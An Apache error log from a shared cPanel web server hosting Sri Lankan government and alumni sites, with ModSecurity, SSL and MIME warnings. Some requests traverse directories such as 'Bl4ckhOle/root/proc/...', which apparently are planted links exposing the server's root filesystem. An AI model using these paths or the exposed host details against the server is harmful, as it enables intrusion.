[Fri Jul 17 08:34:45.757676 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:45.789297 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:46.228885 2026] [security2:error] [pid 1993715:tid 1993715] [client 8.222.218.157:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/plugins/system/jce/css/content.css"] [unique_id "almbznRlmrtCoY_COpcjXgAAAAg"]
[Fri Jul 17 08:34:46.228935 2026] [security2:error] [pid 1993715:tid 1993715] [client 8.222.218.157:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/plugins/system/jce/css/content.css"] [unique_id "almbznRlmrtCoY_COpcjXgAAAAg"]
[Fri Jul 17 08:34:47.861464 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:49.238070 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:49.505639 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:41348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:50.156505 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:51.920037 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_20-english.pdf"] [unique_id "almb0wPhWp7RzB65h36fsQAAAA0"]
[Fri Jul 17 08:34:51.920523 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_20-english.pdf"] [unique_id "almb0wPhWp7RzB65h36fsQAAAA0"]
[Fri Jul 17 08:34:51.920894 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_20-english.pdf"] [unique_id "almb0wPhWp7RzB65h36fsQAAAA0"]
[Fri Jul 17 08:34:52.426538 2026] [core:error] [pid 2015187:tid 2015187] (13)Permission denied: [client 57.141.18.94:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory140/node0/memory13/node0/memory38/subsystem/drivers_probe
[Fri Jul 17 08:34:54.237563 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:54.772013 2026] [ssl:error] [pid 2015187:tid 2015187] (70014)End of file found: [client 66.85.158.91:33712] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:57.982368 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33782] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:58.954635 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:33828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:00.705289 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33884] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:00.746453 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:01.486462 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory123/node0/memory76/node0/memory110/subsystem/drivers_probe
[Fri Jul 17 08:35:02.615988 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:59108] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:04.242060 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:04.683681 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:04.775023 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:59184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:04.992409 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.119:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory21/node0/memory9/node0/memory13/node0/cpu1/crash_notes
[Fri Jul 17 08:35:05.003904 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:06.473026 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:59296] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:09.646113 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:59478] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:10.483196 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:59504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:11.668292 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:12.003565 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:34958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:13.154431 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:35016] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:14.268764 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/sbin/build-locale-archive
[Fri Jul 17 08:35:15.074777 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2022/vol_49_no_14-english.pdf"] [unique_id "almb63RlmrtCoY_COpcjbgAAAAg"]
[Fri Jul 17 08:35:15.075115 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2022/vol_49_no_14-english.pdf"] [unique_id "almb63RlmrtCoY_COpcjbgAAAAg"]
[Fri Jul 17 08:35:15.075396 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2022/vol_49_no_14-english.pdf"] [unique_id "almb63RlmrtCoY_COpcjbgAAAAg"]
[Fri Jul 17 08:35:17.015520 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:17.095842 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:19.105220 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:35338] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:19.505713 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:19.742638 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:35370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:20.765282 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:35392] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:21.941467 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:21.988673 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:24.029307 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:24.271212 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:24.271293 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:25.322699 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almb9XRlmrtCoY_COpcjdAAAAAg"]
[Fri Jul 17 08:35:25.322802 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almb9Vh1WDijTxd1xw5JvQAAAAc"]
[Fri Jul 17 08:35:25.323066 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almb9XRlmrtCoY_COpcjdAAAAAg"]
[Fri Jul 17 08:35:25.323200 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almb9Vh1WDijTxd1xw5JvQAAAAc"]
[Fri Jul 17 08:35:25.323485 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almb9XRlmrtCoY_COpcjdAAAAAg"]
[Fri Jul 17 08:35:25.323659 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almb9Vh1WDijTxd1xw5JvQAAAAc"]
[Fri Jul 17 08:35:25.323753 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almb9Vh1WDijTxd1xw5JvQAAAAc"]
[Fri Jul 17 08:35:25.323782 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almb9Vh1WDijTxd1xw5JvQAAAAc"]
[Fri Jul 17 08:35:27.155644 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:27.156356 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:29.270112 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:29.642314 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:30.323179 2026] [security2:error] [pid 2014279:tid 2014279] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almb-kz_ZDvgWqiMlMbMPgAAAB0"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:35:30.323222 2026] [security2:error] [pid 2014279:tid 2014279] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almb-kz_ZDvgWqiMlMbMPgAAAB0"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:35:34.106959 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:34.270879 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:35.666805 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:35.757488 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:39.272911 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:39.584724 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:56832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:40.108409 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:40.768681 2026] [security2:error] [pid 2014286:tid 2014286] [client 216.244.66.242:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/daph/daph/lang/"] [unique_id "almcBB15lhZh2QtC5qEW8QAAAB8"]
[Fri Jul 17 08:35:40.769077 2026] [security2:error] [pid 2014286:tid 2014286] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/daph/daph/lang/"] [unique_id "almcBB15lhZh2QtC5qEW8QAAAB8"]
[Fri Jul 17 08:35:40.836483 2026] [security2:error] [pid 2014286:tid 2014286] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/daph/daph/lang/"] [unique_id "almcBB15lhZh2QtC5qEW8QAAAB8"]
[Fri Jul 17 08:35:43.115642 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:44.274647 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:48.761330 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:59544] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:50.758910 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:50.831635 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:54.305243 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:35:55.639576 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:47292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:35:55.639755 2026] [security2:error] [pid 2014321:tid 2014321] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/node0/memory16/node0/memory12/removable"] [unique_id "almcE9bqW6u97-NXXfOsiAAAACE"]
[Fri Jul 17 08:35:55.639794 2026] [security2:error] [pid 2014321:tid 2014321] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/node0/memory16/node0/memory12/removable"] [unique_id "almcE9bqW6u97-NXXfOsiAAAACE"]
[Fri Jul 17 08:36:00.760392 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:47496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:04.123785 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory92/subsystem/devices/memory116/node0/memory93/subsystem/devices/memory143/subsystem/uevent
[Fri Jul 17 08:36:04.292474 2026] [core:error] [pid 2014279:tid 2014279] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/subsystem/drivers/hpet/uevent
[Fri Jul 17 08:36:05.317324 2026] [security2:error] [pid 2015125:tid 2015125] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcHRJ0z2bEtnOrIXU99QAAAAk"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:36:05.317368 2026] [security2:error] [pid 2015125:tid 2015125] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcHRJ0z2bEtnOrIXU99QAAAAk"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:36:05.479705 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.50:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory94/node0/memory97/subsystem/devices/memory137/node0/memory115/node0/compact
[Fri Jul 17 08:36:05.879509 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:45964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:07.008562 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:46018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:07.017984 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcHo4Wmn5zySdNNkAlxQAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
